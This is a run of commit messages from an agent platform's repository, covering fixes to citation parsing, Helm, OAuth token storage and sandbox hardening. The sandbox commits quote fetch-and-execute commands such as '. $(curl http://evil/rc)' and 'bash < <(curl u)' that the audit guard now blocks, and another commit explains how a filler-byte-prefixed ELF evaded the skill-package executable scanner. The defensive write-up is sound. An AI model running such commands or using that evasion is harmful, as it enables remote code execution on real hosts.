* feat(knowledge): add independent Wiki and entity relation retrieval tools
* fix(knowledge): address review diagnostics and CI catalog coverage
* fix(knowledge): deduplicate graph evidence and update catalog e2e
* fix(knowledge): clarify bounded evidence and pin browser CI runners
* Update e2e-tests to run on ubuntu-latest
* Update workflow to use ubuntu-latest
* test(ci): stop pinning maintainer-controlled browser runner images
---------
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
* fix(workspace): don't infer created or deleted files from truncated snapshots
A bounded workspace scan stops at max_scanned_files and marks the snapshot
truncated. Absence from such a snapshot is unknown, so creation is only
inferred from a complete before snapshot and deletion only from a complete
after snapshot. get_changed_paths() is the single filter for the summary,
text capture and output-delivery detection.
The scanner now walks subdirectories in sorted order so the truncation
boundary is reproducible across the before and after scans, and the docs
note that the budget is consumed root by root (workspace before outputs).
Supersedes #5231.
Co-authored-by: liutian <91778998+ImcLiuQian@users.noreply.github.com>
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* fix(runtime): record truncated delivery verification skips
Record verification_skipped=truncated_pre_run_snapshot in run.delivery
receipts when a truncated pre-run scan leaves no provable output changes.
Carry the snapshot into both normal and exceptional receipt finalization.
Keep observed-output verification and terminal statuses unchanged. Cover
success, failure, cancellation and capture failures through the real worker,
and document the per-run receipt marker.
---------
Co-authored-by: liutian <91778998+ImcLiuQian@users.noreply.github.com>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
* fix(citations): pair inline code within a paragraph, not across blank lines
maskInlineCode paired backticks over the whole document, so a stray backtick in
one paragraph and another in a later one formed a span CommonMark never renders.
The citation between them was masked out of the Sources list, and the stolen
opener simultaneously un-masked a real code span further down.
Scope the pairing to blank-line-delimited paragraphs, keeping the captured
separator so string length and occurrence indices still align with the original
markdown.
* fix(citations): end the paragraph on a CRLF blank line too
core/messages/utils.ts recognises a blank line as \r?\n[ \t]*\r?\n; the citations
scanner now uses the same shape, so CRLF markdown gets the same pairing limit
instead of falling back to whole-document pairing.
* fix(citations): mask fences in containers and end inline spans at block bounds
Follow-up to the paragraph-scoped inline pairing review on #5876.
Indented fences inside a list item, and blockquote-prefixed fences, were only
blanked by accident before: the whole-document backtick pairing happened to
close them. Scoping the pairing to a paragraph removed that safety net and let
sample citations surface as sources, so the fence matcher now accepts container
prefixes and is marker-aware.
Inline spans also end at the other block boundaries CommonMark uses - ATX
headings, thematic breaks / setext underlines, interrupting list items and a
blockquote's empty continuation line - not only at blank lines.
* fix(citations): anchor fence detection and end fences with their container
An unanchored container-prefix match turns any line that merely contains a
three-backtick run into a fence opener, which masks everything after it and
drops live citations. Anchor the match to the line start.
A fence also has to end with the container it was opened in: a blockquote loses
its fence at the first line without a `>` marker, and an indented fence at the
first non-blank line that is less indented than its opener. Without that, the
citation following a closed blockquote is masked away, which is the same failure
direction as the original bug.
* fix(citations): track the container a fence was opened in
Separate a fence marker's own indentation from the indentation its container
gives it, require whitespace after a list marker before treating it as a
container, count blockquote depth instead of testing it as a boolean, and check
a closer's indentation against the container before ending the block.
Cover the four shapes from the review on #5876 with tests, and check the scanner
against remark-parse over twenty fence shapes.
* fix(citations): cap an opener's indentation at three columns past its container
A marker four columns past the container's content column is an indented code
block, so it must not open a fence; otherwise the citation below it is blanked
to end of input instead of surfacing as a source.
* fix(citations): match fence openers and closers to what their tails allow
A closing fence is bare, and a backtick fence's info string carries no
backtick. So ` ```text ` inside a ``` block is literal content rather
than a closer, and ` ```md `x` ` is a paragraph line rather than an
opener. Missing either check sends the scanner the wrong way: the first
lets a citation after the fake closer surface as a phantom source, the
second blanks a citation the reader can actually click.
* fix(citations): measure fence columns in columns, and only close on a closer
A tab after a list marker advances to the next four-column stop, so sizing a
list item by the character length of its marker put the content column two
columns too far left and kept a dedented citation masked inside the fence.
A closing fence now comes from its own pattern instead of the opener's: the
opener also accepts list markers, which are plain content once a block is open,
so `- ``` ` inside a fence closed it early and surfaced the citation under it.
The optional space after a block quote marker is padding, not indentation, so
measuring a quoted marker from the raw prefix cost the fence one column of its
three-column budget and rejected a valid closer.
* test(citations): pin the list-nested closer shape as its own case
* fix(citations): keep a blockquote fence escape inside an indented code run
Losing the `>` closes a quoted fence, but the escaping line is not free text:
four columns of indentation at the top level starts an indented code block, so
its citations are still code. Without that, the paragraph-scoped inline pairing
this scanner replaced leaves them visible as phantom sources.
* fix(citations): read blank lines and surviving containers around quote escapes
* fix(citations): count a quote that opens behind a list marker
BLOCKQUOTE_PREFIX_RE matches from the start of a line, so a fence opened as
"- > ```md" recorded quoteDepth 0 even though it sits inside a quote. The
escape test then never fired and the fence masked to end of input, blanking
citations that remark-parse renders as live links: 35 of the 924 swept
container combinations were worse than main, all in that family.
Read the opener's own container prefix instead, and park the list stack the
quote hides in so a dedented line is measured against the item that survives
it.
* fix(citations): keep literal quote lines and multi-marker fences contained
A fence that was not opened in a block quote has no quote container a later
line can leave, so a `>` inside it is literal code: stripping it made an
indented content line read as column zero and escape the fence. A line can also
open several list items at once, and the fence belongs to the deepest of them,
so recording only the first marker put `- - - ```md` four columns past its
container and rejected a valid opener.
* fix(citations): scan the container prefix in one pass
Reading the containers a fence marker may sit behind was a single regex whose
alternation could take a space either as a step of its own or as the padding of
the next marker, so it described the same prefix exponentially many ways. A line
carrying no fence therefore made the engine enumerate every decomposition: the
deep-quote shapes tests/e2e/user-message-plain-text.spec.ts renders cost a second
at 26 markers, roughly double for each marker added, and never return for the
three thousand markers those messages carry, which is why the e2e job timed out
waiting for a message that had already rendered on main.
The scan now walks each position once. Which shapes open a fence is unchanged:
the 32-shape and 35-shape differentials against remark-parse, the 924-combination
sweep and this file's 50 existing cases all give the same answers as before.
* fix(citations): keep the list a finished quote lived in, and let paragraph text block a non-1 ordered fence
maskFencedCodeBlocks cleared the item stack on every blockquote-depth change, so a
fence opened after a quote ended measured against the document root and hid a
citation the reader had already left the item for. It also pushed any ordered
marker as a container, so a `2. ~~~md` line that CommonMark keeps inside the
preceding paragraph opened a fence and masked a rendered citation.
* fix(citations): test the paragraph boundary on the CR-normalized line
A CRLF document keeps its "\r" on every line after the split on "\n", and
THEMATIC_BREAK_RE is anchored at the end of the line, so a setext underline
"---\r" was not recognised as a leaf block. The paragraph it had already ended
stayed live, the following "2. ```md" was read as paragraph text, its fence
never opened, and the real closer was then re-read as a top-level opener that
masked the rendered citation to EOF.
Use the same CR-normalized line the position classification already uses, and
pin the LF/CRLF pair plus the cross-depth quote shape against the parser tree.
* fix(citations): keep list items and quote markers the reader keeps
Three container rules in the fence scanner disagreed with remark-parse:
- A dedented line of paragraph text is a lazy continuation, so it does not
leave the list item. Popping the item there recorded the next fence at
column zero and hid a rendered citation to end of input.
- Padding after a list marker tops out at four columns: the fifth belongs to
an indented code block inside an item whose content starts one column past
the marker, not to a column-six container.
- A `>` deeper than the quote markers a quoted fence already consumed is
literal code. Stripping it made the content look dedented past the fence's
column and ended the fence one line early, surfacing a citation the reader
shows as code.
---------
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
* fix(uploads,integrations): keep atomic-write cleanup from replacing the caller's outcome
* fix(lark): keep the download error when archive cleanup fails
* test(lark): keep the download fixtures inside the test directory
* fix(uploads): keep OSError text out of upload, delete and attach 500s
Thread upload, upload delete and shelf attach-to-thread put str(exc) in
their 500 detail. A staging or unlink OSError names its file, so a
permission error, or a disk too full for mkstemp, returned the absolute
host path of the thread's uploads directory, user and thread IDs included.
Return a fixed detail that still names the caller's file. The existing
error log lines keep the full message for operators.
* docs(changelog): reference #7217 for the upload 500 detail fix
---------
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
* fix(workspace): publish the snapshot text cache byte-exactly on every host
* test(workspace): pin diff line counts and guard the text cache on Windows CI
* ci(workspace): run Windows text-cache guards on source changes
Include the workspace_changes package in the Windows workflow's PR path
filter so scanner or diff regressions run the native Windows guards before
merge, rather than waiting for the weekly schedule.
---------
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
* fix(helm): honor redis-password from a user-managed Secret
The bundled Redis StatefulSet derived its AUTH mode only from
`redis.auth.password`, so a `redis.existingSecret` that carried both
`redis-url` and `redis-password` left the gateway authenticating against
a server started without `--requirepass`. Both probes used the no-auth
path as well, so the Pod reported healthy while the gateway could not
connect to it.
Whether a user-managed Secret carries `redis-password` is only knowable
at runtime, so the key is now read with `optional: true` and the
entrypoint enables AUTH only when the value is nonempty. A Secret
carrying only `redis-url` keeps the no-auth behavior instead of failing
to start, and a stale `redis.auth.password` no longer wins over the
selected Secret, matching what values.yaml documents.
Refs #7149
* test(helm): cover Redis Secret authentication and share resolution
Add the issue #7149 render-and-shell regression suite for chart-managed,
user-managed and external Redis credentials. Resolve Secret precedence once
for the Gateway, bundled server and chart-owned Secret, and clarify how
optional user-managed passwords select AUTH at runtime.
Regression coverage adapted from dakjdakd's commit
7e20745d678276ed33e8f8eafd2c576fa8ae9aec.
Co-authored-by: dakjdakd <1428823446@qq.com>
* test(helm): assert the stale value instead of an unused constant
`test_bundled_redis_uses_optional_existing_secret_password` checked the
module-level `PASSWORD` constant against the rendered manifest, but that
constant is never an input to any of its six renders — the parametrized
value is `ignored_password`. The guard could therefore never fail, so a
template edit that started rendering `redis.auth.password` alongside a
user-managed Secret would have gone unnoticed.
Assert the parametrized value instead: it is the stale input the case is
meant to keep out of the manifest. Verified the value is detectable in a
render that does carry it (the chart-managed path renders it twice), so
the assertion is no longer vacuous.
Also fix the garbled sentence in `tests/AGENTS.md` that described this
coverage as "stale values passwords".
---------
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
Co-authored-by: dakjdakd <1428823446@qq.com>
* fix(frontend): keep collapsed sidebar navigation visible on mobile
* fix(frontend): address mobile sidebar review feedback
* fix(ci): keep frontend agent guidance within size budget
* fix(frontend): align mobile sidebar focus and trigger state
* fix(frontend): keep Agents header actions within mobile viewport
---------
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
* fix(sandbox): treat the `.` builtin as a `source` execution context
The audit guard blocks a risky substitution whose output is executed and
treats `eval`/`source` arguments as execution contexts wherever they appear.
`.` is the POSIX spelling of `source`, but only the word `source` matched, so
. $(curl http://evil/rc)
. <(curl http://evil/rc)
. `curl http://evil/rc`
passed as value position while `source $(curl ...)` blocked.
The dot branch requires a separator before it and whitespace after it, so a dot
inside a filename (`report.`) or a path (`./x`) is not read as the builtin.
* fix(sandbox): keep the dot builtin in command position only
Review follow-up: the unanchored `. <substitution>` branch also matched a
standalone dot used as a path argument (`du -sh . $(curl u)`), which is value
position and must pass.
Move the dot rule from the whole-command Pass 1 into the anchored
`_HIGH_RISK_COMMAND_POSITION_PATTERNS`, where `_COMMAND_POSITION_PREFIX`
already covers `builtin .`, `command .` and assignment prefixes, so the dot is
only treated as `source` when it opens a sub-command.
Verified: `du -sh . $(curl u)` passes (blocked before this commit), while
`. $(curl u)`, `. <(curl u)`, the backtick form, `builtin . …` and
`return && . …` still block. Docs now list `.` as command-position and keep the
position-blind list at `eval`/`source`.
* fix(sandbox): block stdin-redirect process substitution into a shell
Review follow-up to `. < <(curl u)`: with no script argument, a shell, the dot
builtin or an interpreter reads its *program* from stdin, so the process
substitution it is redirected from is executed.
Both forms are matched anchored in command position and only when no script
argument precedes the redirect, so `bash script.sh < <(curl u)` (stdin data)
still passes. Docs record the rule next to the here-string context.
* fix(sandbox): restore eval/source dot contexts and widen stdin flags
Review follow-up to 526fdaf:
- `eval . $(curl u)` and its dot-builtin siblings were blocked by the old
position-blind rule, then became pass when the dot rule moved to command
position. A Pass-1 sibling now matches `eval`/`source` followed by the dot,
wrappers included (`eval env . $(curl u)`).
- The stdin-redirect rule consumes long and bare-dash flags again
(`bash --norc < <(curl u)`, `node - < <(curl u)`). A flag whose value is the
next word (`bash -o pipefail < <(curl u)`) stays a documented known gap
instead of being guessed at.
* fix(sandbox): decide stdin-program execution from the token list
Review follow-up to a7c4a69. The stdin-redirect rule blocked three forms that
never execute the fetched bytes:
- `bash < <(curl u) consumer.sh` / `python3 < <(...) consumer.py` — a script
operand wins, so the substitution is that script's stdin data.
- `bash -n < <(curl u)` / `sh -n < ...` — noexec parses without running.
- `. < <(curl u)` / `source < <(curl u)` — the dot builtin requires a filename
and errors out instead of reading a program from stdin.
The anchored pattern is replaced by `_stdin_program_substitution`, which checks
the interpreter, its flags (shell noexec), the redirect, and whether a script
operand follows the substitution. Blocked forms are unchanged: `bash <
<(curl u)`, long and bare-dash flags, `env bash`, and non-shell interpreters
(`perl -n`).
---------
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
* fix(skills): validate music audio before opening output files
* fix(skills): reject non-MP3 music responses before writing
---------
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
* fix(skills): align skill-creator validation with the runtime schema
quick_validate.py rejected skills the runtime accepts and accepted skills
the runtime drops:
- Read SKILL.md with utf-8-sig so a BOM-prefixed file (Windows editors)
is not reported as missing frontmatter.
- Allow the DeerFlow frontmatter fields (argument-hint, required-secrets,
secrets-autonomous, version, author) that the runtime schema accepts.
- Reject empty name/description, which the loader drops.
- Validate required-secrets/secrets-autonomous shapes like the runtime
validator, so a malformed declaration fails before packaging.
Tests cover each case in backend/tests/test_skill_creator_quick_validate.py.
* fix(skills): close the remaining skill-creator parity gaps
- Read SKILL.md with utf-8-sig in utils.parse_skill_md too, so a BOM file
that quick_validate now accepts does not fail in run_eval/run_loop/
improve_description.
- Stringify YAML keys before the unexpected-key check, so mixed non-string
keys report cleanly instead of raising TypeError in sorted().
- Accept trailing whitespace on the frontmatter delimiters, matching the
runtime parser.
Each case has a regression test that fails on the previous commit.
* fix(skills): validate allowed-tools and stop over-rejecting compatibility
The reviewer found two remaining parity gaps:
- allowed-tools was not validated, while the runtime parser rejects
non-string list items, empty tool names, unmatched closing parentheses
and unclosed quotes. Mirror those shape rules.
- compatibility was rejected for non-string or >500-char values, but the
runtime validator never inspects it. Drop the check so this script does
not reject skills the runtime accepts.
Each case has a regression test that fails on the previous commit.
* fix(skills): reject unclosed parenthesized allowed-tools patterns
The runtime parser raises when the scan ends with depth > 0; the
quick_validate loop only checked for an unmatched closing parenthesis.
Add the depth check and move the unclosed-pattern case to the rejected
tests.
* fix(community): screen tavily and exa web_search result URLs
The Tavily and Exa web_search tools returned provider URLs to the model
unfiltered, so a loopback, link-local or metadata-service address in a
result reached the agent. Brave and Serper already pass result URLs
through safe_public_result_url; do the same here, blanking a non-public
URL while keeping the row's title and snippet.
* fix(community): screen result URLs in the remaining web_search providers
youcom, tencent_wsa, serply (url and scholar pdf_url), groundroute, sofya,
ddg_search, fastcrw, firecrawl and searxng handed provider-supplied URLs
to the model unfiltered. Route each through safe_public_result_url, as
brave, serper, tavily and exa do: a non-public URL is blanked and the
row's title and snippet are kept.
The test now drives every listed provider's web_search tool with a
stubbed provider payload carrying a metadata, loopback or public URL.
* fix(community): screen brave, serper and webz web_search result URLs
The remaining text-search providers still returned result URLs verbatim.
Serper's comment documented that policy; it now screens organic links like
its image results. The shared provider test covers all fourteen providers
and asserts the snippet survives screening.
* docs(tests): describe text-search URL screening coverage
---------
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
* fix(skills): sniff executable binaries past leading filler bytes
The executable-binary guard (package_files.is_executable_binary_prefix)
matched ELF/PE/Mach-O magics strictly at file offset 0 across all three
layers: archive preflight, the extraction guard, and the directory static
scan. Prepending a single filler byte (newline, space, NUL, ...) evades
every layer simultaneously: a whitespace-prefixed ELF still loads through
ld.so, and the existing test asserting the scanner and the extraction
guard agree passes for both the plain and the padded form after this fix,
because both layers share this helper.
The sniff now tolerates a bounded (64-byte) run of leading ASCII
whitespace/NUL filler before matching, and scan windows widen from 8 to
EXEC_SNIFF_BYTES so the magic plus filler always fits the probe. The cap
keeps indented prose out of the false-positive zone (the existing
"full magics only" tests stay green).
Repro before the fix: archive with SKILL.md and assets/payload whose
bytes are b'\n' + ELF header: preflight passes, extraction writes the
file, the directory scan reports nothing.
Tests: 10 new regression cases across test_skillscan_native.py and
test_skills_installer.py; 701 related tests pass locally on py3.12.
* fix(skills): clarify executable filler sniffing
Address review feedback by clarifying the offset-0 probe rationale, handling UTF-8 BOM prefixes without truncating Mach-O magics, and pinning the 63/64-byte boundary.
* test(skillscan): describe what the filler-prefix regression asserts
The docstring said filler "must not evade the offset-0 probe", which reads
oddly for a test whose payloads all sit past offset 0. State the asserted
behavior instead: a bounded filler run still yields a blocking CRITICAL
finding.
* test(skillscan): pin executable sniff window and BOM handling
* test(skillscan): cover every executable sniff entry point
* test(lark): isolate windows runtime branch
* fix(agents): keep host paths out of agent and user-profile error details
The custom-agent and user-profile routes put str(e) in their 500
detail. Agent config parse errors and filesystem OSErrors name the
absolute host path under users/<user_id>/, so a caller saw it in the
response. Return the fixed "Failed to <action>" detail the import and
export routes already use and keep the full error in the existing log
lines. PUT also handles a parse error from its initial config load.
The scheduled-task assistant resolver echoed the same parse error as
its invalid_assistant 422 message, which reached the UI and the
scheduler tool result. It now logs the error and returns a fixed
message under the same code.
* docs(changelog): reference #7255 for the agents error detail fix
* fix(sandbox): surface local directory search permission errors
Permission failures during local list_dir and glob walks must reach the
caller instead of looking like an empty successful result. Transient
filesystem races keep using the existing walk race allowlist.
Fixes#7210
* fix(sandbox): keep denied path in ls/glob permission errors
Guard chmod-based permission tests for non-root POSIX, reverse-resolve
PermissionError.filename in LocalSandbox.list_dir/glob like grep, and
surface that path from ls_tool/glob_tool instead of only the requested root.
* test(sandbox): use workspace/tmp_path leak guards for ls/glob denials
The acceptance test compiles a fixture crate from a cold target directory in
each of its six parametrizations. On a loaded runner the toolchain startup and
compile together can exceed the 60s command budget, and the case then fails on
"Exit Code: 124" instead of a test summary — main run 39566441443 went red on
the [ignored] case for exactly that reason while the previous five runs passed.
Give the command a budget that covers a cold compile. The assertion itself is
unchanged: the test still requires cargo's own summary in the captured output.
Co-authored-by: Batianxieshen1 <280706568+Batianxieshen1@users.noreply.github.com>
* test: stabilize reporter evidence and guard missing chat nodes
* feat(models): scope Web model choices to tasks, turns and conversations
* test(e2e): mock model-control preview for ordinary chat submissions
* fix(models): harden scoped choices and stale Agent submissions
---------
Co-authored-by: Totoro-qaq <279883115+Totoro-qaq@users.noreply.github.com>
* fix(reflection): reject malformed variable paths before diagnosing them
resolve_variable splits on the last colon and assumed both halves were
usable. Two realistic typos fell through into misleading diagnoses:
- "json:" reached getattr(module, "") and reported
"Module json does not define a attribute/class" -- a blank name in the
middle of the sentence.
- "json:loads:extra" left the extra colon inside the module part, so the
failed import was reported as Missing dependency and the user was told to
run uv add json:loads, an instruction that cannot work.
Both are path mistakes, so they now get the same format guidance as a path
with no colon at all. Every provider, extension and model class path in the
repo flows through here, so the message is what an operator sees first.
Tests cover the two typos and assert the missing-dependency hint is not
offered for them.
* fix(reflection): reject relative module paths too, and pin the empty-module half
Review follow-ups on the malformed-path check:
- A leading-dot path (.foo:bar) is a relative import, and import_module
raises TypeError rather than ImportError for it. Every loader built on this
function catches ImportError, so the call crashed instead of reporting the
path. These paths are absolute by construction, so reject the shape.
- ":attr" was already covered by the new condition but had no test, which
left the empty-module half unpinned. Added one.
Both were mutation-checked: dropping each condition turns exactly its own
test red.
* fix(reflection): reject whitespace and trailing dots in variable paths too
Review follow-up on the shapes that stay inside the ImportError contract but
land in the missing-dependency branch:
- "json.:attr" advertises a distribution named `json.`
- "json :loads" and " json:attr" advertise `uv add json ` / `uv add json`,
where the space that IS the typo is invisible in the rendered hint
- "json:attr\n" reaches getattr with a name the caller never wrote
A dotted module path has no trailing dot and neither half carries
whitespace, so these get the same format guidance as the other four shapes.
Whitespace is checked inside both halves rather than at the ends, since
"json :loads" hides the typo in the middle.
Each new condition half is mutation-checked: removing the trailing-dot test
fails only the trailing-dot case, and removing both whitespace tests fails
exactly the two whitespace cases.
---------
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
`test_config_version.py` guards its shell-script cases with
`@pytest.mark.skipif(SCRIPT_BASH is None, ...)`, except for three `version_45`
migration tests added later. On a host without Git Bash on PATH those tests
pass `None` as the executable and fail with
`TypeError: expected str, bytes or os.PathLike object, not NoneType` instead
of skipping like their siblings, so the module reads as broken rather than
inapplicable.
Verified with `PATH` reduced to `%SystemRoot%\System32`:
- before: the three tests failed with that TypeError
- after: the three tests skip like the rest of the shell-script cases
* feat(community): migrate GroundRoute tools to async HTTP
The GroundRoute provider sent its search and fetch requests through a sync
httpx.Client. A sync LangChain tool invoked through ainvoke runs on the
default executor, so the request held one of that pool's threads for the
whole network round-trip, and several providers queried in parallel queued
behind each other.
Make both tools coroutines over httpx.AsyncClient, resolve the API key and
the configured max_results in a single config read, and keep that read off
the event loop with asyncio.to_thread.
* refactor(community): drop the dead GroundRoute API key wrapper
The async migration resolved the key and max_results through
_resolve_tool_settings, which left _get_api_key as a second seam around
the same config read: only TestGetApiKey still exercised it. web_fetch
now reads its key through the same resolver, and the tests point at
_resolve_tool_settings.
Also record which httpx client factory the provider reaches for in the
runtime anchor. MockTransport runs its handler on the calling thread
without real blocking I/O, so a provider that stayed async but sent the
request through a sync client would satisfy the thread assertion; the
recorded factory is what catches that partial regression.
---------
Co-authored-by: treasuresyq <309743290+treasuresyq@users.noreply.github.com>
* fix(skills): create a missing extensions_config.json in the project root
When no extensions config resolved, the skill toggle created one at
Path.cwd().parent while the MCP writers used project_root(). Unless the
Gateway runs from backend/ with the project root at its parent, the
toggle's file landed outside the resolver's search path: the toggle was
lost on reload and the next MCP edit created a second file.
Add ExtensionsConfig.default_config_path() (the project root, the first
location resolve_config_path searches) and use it from the skill toggle
and both MCP create paths, so a created file is always the one the next
resolution reads back.
* docs(changelog): reference #7048 for the extensions config create path
---------
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
* fix(scripts): find Git Bash under a PortableGit mingw64 layout
`scripts/run-with-git-bash.cmd` derives `bash.exe` from `git.exe`'s parent,
which only holds for the Git for Windows `<root>/cmd` and `<root>/bin`
layouts. PortableGit and GitHub Desktop ship `git.exe` in
`<root>/mingw64/bin`, so the wrapper looked for `<root>/mingw64/bin/bash.exe`
and reported "Could not locate Git for Windows Bash" even though
`<root>/bin/bash.exe` exists. Every Makefile recipe that runs a repository
shell script failed on those hosts.
Resolve the shell under the Git installation root instead, and mirror the rule
in `backend/tests/support/shell.py` (documented as mirroring the wrapper) so
the shell-script suites stop skipping on the same hosts.
* test(backend): pin both Git layouts in one shell-discovery suite
Review follow-up for the PortableGit probe:
- `_git_roots` now probes `git.exe`'s parent and grandparent unconditionally —
exactly the two directories the Makefile wrapper checks — so the batch probe
and the Python mirror cannot drift; the docstring records that the first
`mingw64` candidate normally misses and is kept only to mirror it.
- fold the candidate-layout cases and the Windows-only wrapper case into
`tests/test_support_shell.py`, which already owns this module's unit tests,
instead of a second file with a duplicate `_touch` helper.
- report the wrapper's stdout in the failure message: its diagnostic goes to
stdout, so `stderr` was empty on the discovery-failure path.
* fix(scheduler): treat only busy-thread 409s as retryable
start_run exposes the retryable run-manager admission conflict as BusyThreadConflict (an HTTP 409), but also uses plain 409s for permanent idempotency-key and thread/assistant mismatches. The scheduler treated every HTTP 409 as an overlap conflict and requeued the occurrence, so a permanent launch error was retried until scheduler.queue_timeout_seconds elapsed. Other launch errors are documented to fail immediately, and the MCP notification launcher already distinguishes these types.
Match ConflictError and BusyThreadConflict only; a plain 409 now follows the normal failure path. The type is imported lazily so the scheduler module does not take a load-time dependency on app.gateway.services.
Tests: a plain idempotency 409 terminalizes the occurrence as failed, while BusyThreadConflict remains queued; existing ConflictError coverage is unchanged.
* fix(scheduler): document the busy-thread import boundary and pin the failure detail
Keep the BusyThreadConflict import local to the classifier and document why it is guaranteed to resolve: the scheduler is wired by the Gateway, where app.gateway.services is already loaded, and this must not become an optional dependency. Import the same type locally in the test so collection does not initialize gateway services for the rest of the scheduler suite. Also pin the persisted failure detail so the 409 reason stays operator-visible.
---------
Co-authored-by: Tong-bit-art <Tong-bit-art@users.noreply.github.com>
* fix(harness): complete Lark device auth via a single-flight login run
The web authorization polling loop reused the request wait budget as the
lark-cli auth login subprocess lifetime: each /lark/auth/complete poll ran
the CLI with subprocess timeout=wait_timeout_seconds (8s from the frontend)
and killed it on timeout. The login transaction is not atomic — poll, redeem
the single-use device code, fetch user info, then persist credentials — so a
kill after redemption but before persistence stranded the flow, and the next
poll with the same code failed with 'device_code is invalid'.
Own the login process by the flow generation instead: the first poll spawns
one background run per (user_id, generation) and later polls attach to it;
wait_timeout_seconds only bounds the caller's wait (unchanged 504 contract)
and never terminates the CLI. Advancing the generation or re-issuing a device
code abandons and kills the orphaned process, and a finished run's outcome
stays attachable for 120s so late polls return the same result instead of
re-consuming the redeemed code.
* fix(lark): tolerate vanished credential-tree entries and bound owner-alive grace
Publication could kill the login worker with an unhandled FileNotFoundError
when a concurrently-written temp file vanished between iterdir() and lstat(),
leaving the marker live but no result file ever published; every foreign poll
then blocked 504 until the 600 s attempt bound, and could respawn an
already-redeemed code. Also, a bare-pid owner_alive check trusted for the
full 600 s let a recycled-pid or crashed-thread marker outlive any process
that could still publish.
- _credential_tree_path_kind returns "gone" on FileNotFoundError so the
walk skips vanished entries instead of aborting; the same tolerance is
applied to iterdir().
- _write_lark_login_result_once treats the re-harden as best-effort: a
filesystem hiccup is logged and publication continues so the marker sweep
still runs.
- The marker now records owner_pid_started_at and
_read_live_lark_login_marker_locked only keeps an owner-alive marker
within a 10 s publication grace, so a stale marker is swept and the flow
respawns instead of wedging every foreign poll.
Regression: test_walk_and_harden_tolerates_a_vanished_entry,
test_write_result_once_continues_when_hardening_fails,
test_abandoned_marker_with_dead_owner_is_swept_within_grace.
Focused suites: 139 passed, 12 skipped.
* fix(lark): harden surviving credentials through filesystem churn
Atomic login publication can remove a descendant after lstat but before
chmod. Catch FileNotFoundError around the entire per-entry walk so that
lstat, chmod and directory enumeration tolerate those disappearances.
A vanished root, permission error or symlink remains a hard failure.
Exercise real removals at each boundary and concurrent result publication;
assert that injection ran and surviving directories/files reach 0700/0600.
The regressions detect a skipped walk, swallowed permission failures and
loss of directory-churn tolerance in isolated mutation runs.
* fix(lark): retain login ownership through durable completion
Browser approval can take longer than the publication grace. Start that
grace at the first observed CLI exit, then reject abandoned attempts
without retrying a device code that may already have been redeemed.
Serialize atomic result publication under the credential lock. Preserve
published results through cleanup failures and retain terminal failures
on the marker when result storage fails. Never bypass credential hardening.
Reserve storage before spawning and roll back failed marker, process or
thread startup by reaping the CLI, clearing the registry and waking waiters.
Add process/filesystem failure regressions, a long-login two-worker case,
and strict unhandled-thread gates. Fix invocation logging in both workers
and reap forked test CLIs after the parent observes their launch. Document
the authorization lifecycle and required regression assertions.
Validated the reproduced failures and ten isolated mutations; final
focused, blocking-I/O, full-suite and independent review details are in PR #7182.
* fix(browser): preserve Live keyboard modifiers
* test(browser): cover Meta modifier on named keys
---------
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
Allow ordinary Agent tasks the same 16,000 JSON bytes already accepted for
file-reference tasks, keeping the 12,000-byte output cap and bounded rejection.
Cover ASCII, escaped Unicode, maximum output and pre-admission rejection.
Co-authored-by: Totoro-qaq <279883115+Totoro-qaq@users.noreply.github.com>
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
`get_readme` and `get_file_content` answered every failure with a string --
`[README not found: HTTP 404]`, `[File not found: HTTP 404]` -- while `main()`
prints any string result on stdout and exits 0. A rate-limited run, a missing
repository and a real README therefore arrived on the same channel with the same
exit code, so a caller reading stdout could not tell a failure from a body.
Both readers now raise `GitHubAPIError` naming the operation, the target and the
underlying HTTP error. The CLI's existing handler already writes an exception to
stderr and exits 1, so a failure leaves the success channel empty and the status
stays visible; a successful fetch is unchanged.
Pins both transports (requests and the urllib fallback), 404 against 403 so a
rate limit cannot read as a missing repository, the file reader's path, and the
CLI contract: non-zero exit, empty stdout, status on stderr.
* fix(mcp): keep rotating OAuth refresh tokens across restarts and Gateway instances
MCP servers on the OAuth refresh_token grant lost their rotated refresh
token whenever a new process or manager started (restart, tool-cache
reset for non-task servers, every personal-connection run, a second
Gateway instance) and re-seeded with the consumed configured token,
getting invalid_grant for good.
- New table mcp_oauth_tokens (migration 0047_mcp_oauth_tokens), one row
per refresh_token connection keyed (scope, owner_user_id, server_key):
('deployment', '', name) or ('personal', owner, personal runtime
name). Access and refresh tokens are DEER_FLOW_CREDENTIALS_KEY
ciphertext; a config fingerprint (token_url, client_id, grant, scope,
audience, seed) makes a changed seed win.
- OAuthTokenManager re-reads the row under its process lock, adopts a
peer's valid token, and otherwise claims the refresh with a lease plus
a version compare-and-set (database clock), fetches outside any
transaction, writes under the lease and releases it on failure.
- The Gateway installs the store (sync engine via to_thread) around the
LangGraph runtime for sqlite/postgres; personal managers pass their
owner. client_credentials stays in process; an unloadable key falls
back to process memory; database errors fail the refresh.
- credentials_key_consumers lists refresh_token MCP OAuth servers, so a
declared multi-instance deployment needs the shared key.
Docs: MCP_SERVER.md, CONFIGURATION.md, Helm README, README, mcp and
migrations AGENTS.md, CHANGELOG (en/zh).
* docs(changelog): link the MCP OAuth token store entry to #7207
* fix(mcp): prune removed connections' OAuth token rows and ask owners to re-authorize on invalid_grant
Review follow-up (willem-bd):
- Both MCP config writers drop mcp_oauth_tokens rows of connections a
save removes (deployment: _commit_mcp_config_write; personal:
_mutate, keeping each connection's enabled/disabled runtime-name
variants so a toggle keeps its chain). Best effort; no startup sweep,
since a missing config file would look like every server removed.
- invalid_grant on a refresh_token request raises
McpOAuthReauthorizationRequired: the tool error names the server and
asks for a new refresh token, plus the shared-key hint when this
instance could not decrypt the stored chain.
- Annotate the gateway helpers' config as AppConfig.
* fix(mcp): renew the OAuth refresh lease, keep unstored rotations, and key access tokens by request parameters
